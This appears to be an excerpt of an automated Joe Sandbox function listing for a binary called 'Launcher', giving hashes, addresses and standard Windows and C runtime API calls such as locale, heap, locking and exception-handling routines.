Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 0411b5ac14af88f257e577fecec7d3774b9a5bf8c698fe2045a125217a9e0780
Instruction ID: 147a8014be7f3222296ed1d1a22da6de29f1b2b5307a0d4f8f0e2c001fc9f455
Opcode Fuzzy Hash: 0411b5ac14af88f257e577fecec7d3774b9a5bf8c698fe2045a125217a9e0780
Instruction Fuzzy Hash: F1F0497AA00310DFDB04EF98E842B9C7BF0FB55761F10802AF8209B6A0CB795984CF40

Function 00127BD5 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

EnumSystemLocalesW.KERNEL32(00127C20,00000001,?,?,?,00127645,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00127C0C

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 758502efe517e0a6e3b6a84e367ab62bf2a539e7e2a2e850d4ec9cf80ac58499
Instruction ID: 5b48a8e9c6cd38bf00674d23baeb2ab848d8d8b5eec6858baabf5f76d2a15ff5
Opcode Fuzzy Hash: 758502efe517e0a6e3b6a84e367ab62bf2a539e7e2a2e850d4ec9cf80ac58499
Instruction Fuzzy Hash: E3F0553A30021567CB14AF35EC55A6B7F90EFC1760B0A4459FA098B690C3359892C790

Function 00122FB5 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,0011D603,?,20001004,00000000,00000002,?,?,0011C511), ref: 00122FE9

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 297dc5851d7b2199ac303732b67f8e8f2e63ebf2c678888df0c3f69866b52015
Instruction ID: d493a5197968e79e5f08dada6d4ff197bca56193eb10770bee2886f4fad499d6
Opcode Fuzzy Hash: 297dc5851d7b2199ac303732b67f8e8f2e63ebf2c678888df0c3f69866b52015
Instruction Fuzzy Hash: F4E04F35500228BBCF122F60ED05EDE3E26FF45B51F054111FD1565221DB358A70AAD0

Function 001164B3 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000165E0), ref: 001164B8

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b92d3eec3a546aa9de582288357dec72005a3f031f75e3b1b80057e329f1ad9d
Instruction ID: 128ba0b9e542b33e32fbbd4bc4c1f252c98dc4d8b64bed9e2dd643406adcdb02
Opcode Fuzzy Hash: b92d3eec3a546aa9de582288357dec72005a3f031f75e3b1b80057e329f1ad9d
Instruction Fuzzy Hash:

Function 00123BE0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00123BE0

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ae55a3f3880518b9054df258a3615c32727ecea9efecadeae694c27ffd69f78e
Instruction ID: 0fceb7d8f01e47e5f7fef8b670c2b2cee8f6b74f1b5b4577cb97eaa870c702a1
Opcode Fuzzy Hash: ae55a3f3880518b9054df258a3615c32727ecea9efecadeae694c27ffd69f78e
Instruction Fuzzy Hash: 3DA001786012429B97408F36AA0920E3BEAAB6679174584ADA405C5A78EB2484D09F11

Function 0012BD99 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 144da527802720010c7265201fae8f842d2a0e24bdc0f40df407c651a6ec5f40
Instruction ID: 305f53983a59e367eec2849157bf8c8da7b33230f613831c41badeed092aaa4a
Opcode Fuzzy Hash: 144da527802720010c7265201fae8f842d2a0e24bdc0f40df407c651a6ec5f40
Instruction Fuzzy Hash: 95322422D29F514DD7279634E92233AA298AFB73C4F15D727F81AB5EA5EF28C4C34140

Function 00101BA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68bb5c4cf046592dbbf1ceba9fdc17f2abcfec0646e5b83ad4185ee0fbcba61f
Instruction ID: 377b8f4e36a20aa25fa0bc288195027f6ba2099914781c3ddc8d7ce2f0560e5b
Opcode Fuzzy Hash: 68bb5c4cf046592dbbf1ceba9fdc17f2abcfec0646e5b83ad4185ee0fbcba61f
Instruction Fuzzy Hash: 18D0923A645A58AFC210CF49E440D42F7BCFB8E670B1544A6EA0893B20C331FC11CAE0

Function 00132512 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02AFE3A0,02AFE3A0,00000000,7FFFFFFF,?,001324FD,02AFE3A0,02AFE3A0,00000000,02AFE3A0,?,?,?,?,02AFE3A0,00000000), ref: 001325B8
__alloca_probe_16.LIBCMT ref: 00132673
__alloca_probe_16.LIBCMT ref: 00132702
__freea.LIBCMT ref: 0013274D
__freea.LIBCMT ref: 00132753
__freea.LIBCMT ref: 00132789
__freea.LIBCMT ref: 0013278F
__freea.LIBCMT ref: 0013279F

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 57dc0d3e510271298270fb90fc091813563bbfcfbbb8d0356b8306186903ddf1
Instruction ID: efea527feb0c53610747fd98678c16c969e6e516de1e6ebe433ae0b26566de05
Opcode Fuzzy Hash: 57dc0d3e510271298270fb90fc091813563bbfcfbbb8d0356b8306186903ddf1
Instruction Fuzzy Hash: E2711572A00259AFDF24BFA48C92FEE7BB5AF69710F250059FD04A7281DB35DD4187A0

Function 00125176 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001251FC

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction ID: 8f47ec25774b265626675fb19015fe5c840e9f5a6e3d866ab003715cd1f01ece
Opcode Fuzzy Hash: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction Fuzzy Hash: 6FB17A32900BB5EFDB15CF64DCC1BAEBBB6EF15350F144165E804AB282D3749961C7A0

Function 00117750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00117787
___except_validate_context_record.LIBVCRUNTIME ref: 0011778F
_ValidateLocalCookies.LIBCMT ref: 00117818
__IsNonwritableInCurrentImage.LIBCMT ref: 00117843
_ValidateLocalCookies.LIBCMT ref: 00117898

Strings

csm, xrefs: 0011782D

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1bed7493057e17a6d955271960eb9e0677ec5145e375b6eabd32a69d233dcf39
Instruction ID: cc164cb6bc5b4db66ec882f7491d91019184e45452abaeaaf9750f5091d86685
Opcode Fuzzy Hash: 1bed7493057e17a6d955271960eb9e0677ec5145e375b6eabd32a69d233dcf39
Instruction Fuzzy Hash: EE41F334E04218ABCF18DF68D888ADEBBB1FF45314F148075E8149B3D2D731AA91CB91

Function 00116A80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00116A86
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00116A94
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00116AA5

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00116A8E
kernel32.dll, xrefs: 00116A81
GetTempPath2W, xrefs: 00116A9A

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 99cc47a0633318617d5e6dd5b47fe5dce82c63863f4503d2d51179e372daf09b
Instruction ID: 68c12ce06d5843eae4c5530503b11178879b5ba263542aca1573588f885ba644
Opcode Fuzzy Hash: 99cc47a0633318617d5e6dd5b47fe5dce82c63863f4503d2d51179e372daf09b
Instruction Fuzzy Hash: E9D09E795413216BC3106FB17C098893BE4FB0BA51701482AF401D2574D7B444C18A91

Function 0013097C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 209b4a922da962f599750fc6265c3fb26d42747f497323fe190414e50a3725f8
Instruction ID: bf1c08b099c6a0e013f0de189eb23d96d6abb6f57a91f4b5fcc0c077e2b2eba0
Opcode Fuzzy Hash: 209b4a922da962f599750fc6265c3fb26d42747f497323fe190414e50a3725f8
Instruction Fuzzy Hash: 5CB10674A04349AFDF1ADF98D861BADBBF1BF59314F144298E414AB392C7709D81CBA0

Function 00121087 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0012107E,00117170,001138AF,580AF776,?,?,?,?,00132FFF,000000FF,?,001090A5), ref: 00121095
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001210A3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001210BC
SetLastError.KERNEL32(00000000,?,0012107E,00117170,001138AF,580AF776,?,?,?,?,00132FFF,000000FF,?,001090A5), ref: 0012110E

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 73973e70cde632e9f3029d9631b10738df5e113dc0b593fb88f499d29f519389
Instruction ID: 0677e0e6f38dce78b06051f1d2fb55f38c7fe8715d80e2fe6b8129af9fdad45d
Opcode Fuzzy Hash: 73973e70cde632e9f3029d9631b10738df5e113dc0b593fb88f499d29f519389
Instruction Fuzzy Hash: 9E01D8373083317EA625A774BC5595A2A94DB37775720023AF910454F1EF234CB55A44

Function 0012190E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00121A2D
CallUnexpected.LIBVCRUNTIME ref: 00121CA6

Strings

csm, xrefs: 001219B8
csm, xrefs: 00121A64
csm, xrefs: 0012194B

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 84c68afec3fe2b67dd71fc3dd4f7ca0a4b6094f373cf40284b0093a1888c9894
Instruction ID: 6bd522237db29b411c4a388a9a5a9401841deb54243b0ad0b5ea4ef1745b517c
Opcode Fuzzy Hash: 84c68afec3fe2b67dd71fc3dd4f7ca0a4b6094f373cf40284b0093a1888c9894
Instruction Fuzzy Hash: 36B15875800229FFCF29DFA4E8819AEB7B5FF28310B14455AF8156B212D331DAB1CB95

Function 0011BD98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,580AF776,?,?,00000000,00132EC9,000000FF,?,0011BE59,0011BD40,?,0011BEF5,00000000), ref: 0011BDCD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0011BDDF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00132EC9,000000FF,?,0011BE59,0011BD40,?,0011BEF5,00000000), ref: 0011BE01

Strings

mscoree.dll, xrefs: 0011BDC6
CorExitProcess, xrefs: 0011BDD7

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1ec86eae8f7d662145f631f5a9f58a3d4471074f88fbee9b3bb846d354f92a48
Instruction ID: f4dd7eaa3a05f843464353ba0a10686261f35e10f39de2d170658df7917b3287
Opcode Fuzzy Hash: 1ec86eae8f7d662145f631f5a9f58a3d4471074f88fbee9b3bb846d354f92a48
Instruction Fuzzy Hash: 7D01DB35944629FFCB159F91DC45BEE7BB8FB05715F000639F811A26A0DB749980CA50

Function 001239EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00123A6F
__alloca_probe_16.LIBCMT ref: 00123B38
__freea.LIBCMT ref: 00123B9F

Part of subcall function 001222B1: RtlAllocateHeap.NTDLL(00000000,00124235,?,?,00124235,00000220,?,?,?), ref: 001222E3

__freea.LIBCMT ref: 00123BB2
__freea.LIBCMT ref: 00123BBF

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 221e398b2fa8da53c9672794c72aedf0e661ddccabf47ec2e77385fcf0fd5301
Instruction ID: c0efa5ddec0c269cd98a9c4b8948e2074ccb1a367af6234c0e9cf220c74278cc
Opcode Fuzzy Hash: 221e398b2fa8da53c9672794c72aedf0e661ddccabf47ec2e77385fcf0fd5301
Instruction Fuzzy Hash: 8751D972600226AFDB299F61EC81EBB76AEDF54710B15006CFD24D7250FB39CE65C6A0

Function 00115D01 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00115D15
AcquireSRWLockExclusive.KERNEL32(?,?,?,0010B45E), ref: 00115D34
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0010B45E), ref: 00115D62
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0010B45E), ref: 00115DBD
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0010B45E), ref: 00115DD4

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: f85713d896f39ca8bccc1ccf44f359330ae893419424cb360981baa7b284fa8c
Instruction ID: 0beb0e68e47363d6b55f9908a6d20a003829c57c6b1ccd048b2f4d1e96455c27
Opcode Fuzzy Hash: f85713d896f39ca8bccc1ccf44f359330ae893419424cb360981baa7b284fa8c
Instruction Fuzzy Hash: F4413735A00A0ADFCF28CFA5E4889EAB7F6FF85311B20453AD45687950D730E9C1CB51

Function 00113142 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00113149
std::_Lockit::_Lockit.LIBCPMT ref: 00113154
std::_Lockit::~_Lockit.LIBCPMT ref: 001131C2

Part of subcall function 0011304A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00113062

std::locale::_Setgloballocale.LIBCPMT ref: 0011316F
_Yarn.LIBCPMT ref: 00113185

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 7b7ca5ffc902272327710618a9fa6f129f5ff03347198b220b1c7569ea184ee4
Instruction ID: 3c9836c656c55d8f7e3ab58b8367b5709a85cfcb52cd82e3f1ca17ea89b05d54
Opcode Fuzzy Hash: 7b7ca5ffc902272327710618a9fa6f129f5ff03347198b220b1c7569ea184ee4
Instruction Fuzzy Hash: 32015A79A01111ABDB0AEB60D9859BC7BB1BF95750B140028E82257395CF346EC6CBC1

